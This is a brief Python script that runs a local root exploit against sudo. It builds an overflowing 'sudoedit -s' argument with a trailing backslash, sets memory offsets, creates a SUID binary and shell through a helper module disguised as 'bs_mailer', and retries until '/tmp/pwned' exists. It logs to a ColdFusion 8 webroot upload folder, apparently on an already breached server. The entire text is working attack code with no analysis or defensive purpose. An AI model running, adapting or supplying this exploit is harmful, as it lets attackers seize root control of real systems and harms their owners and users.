import os
open('/opt/coldfusion8/wwwroot/userfiles/file/ts1.txt','w').write('importing\n')
import bs_mailer
open('/opt/coldfusion8/wwwroot/userfiles/file/ts1.txt','a').write('imported\n')
bs_mailer.has_tailq=False; bs_mailer.has_file=False; bs_mailer.MATCH_ALL=279; bs_mailer.DEFAULTS_CMND=268
offset=0x20; cmnd_size=0x1150
bs_mailer.STACK_ADDR_PAGE=0x7fffffdfefda
argv=[b"sudoedit",b"-A",b"-s",b"-C",b"1337",b"A"*(cmnd_size-0x10)+b"\\",None]
env=bs_mailer.create_env(offset)
open('/opt/coldfusion8/wwwroot/userfiles/file/ts1.txt','a').write('env built len=%d\n'%len(env))
bs_mailer.create_bin(bs_mailer.SUID_PATH)
bs_mailer.create_shell(bs_mailer.SHELL_PATH, bs_mailer.SUID_PATH)
res=[]
for i in range(30):
    ec=bs_mailer.spawn_raw(bs_mailer.SUDO_PATH, argv, env)
    res.append(ec)
    if os.path.exists('/tmp/pwned'):
        open('/opt/coldfusion8/wwwroot/userfiles/file/ts1.txt','a').write('PWNED ec=%d iter=%d\n'%(ec,i)); break
open('/opt/coldfusion8/wwwroot/userfiles/file/ec.txt','w').write('offset=0x%x cmnd=0x%x ec=%s pwned=%s\n'%(offset,cmnd_size,res,os.path.exists('/tmp/pwned')))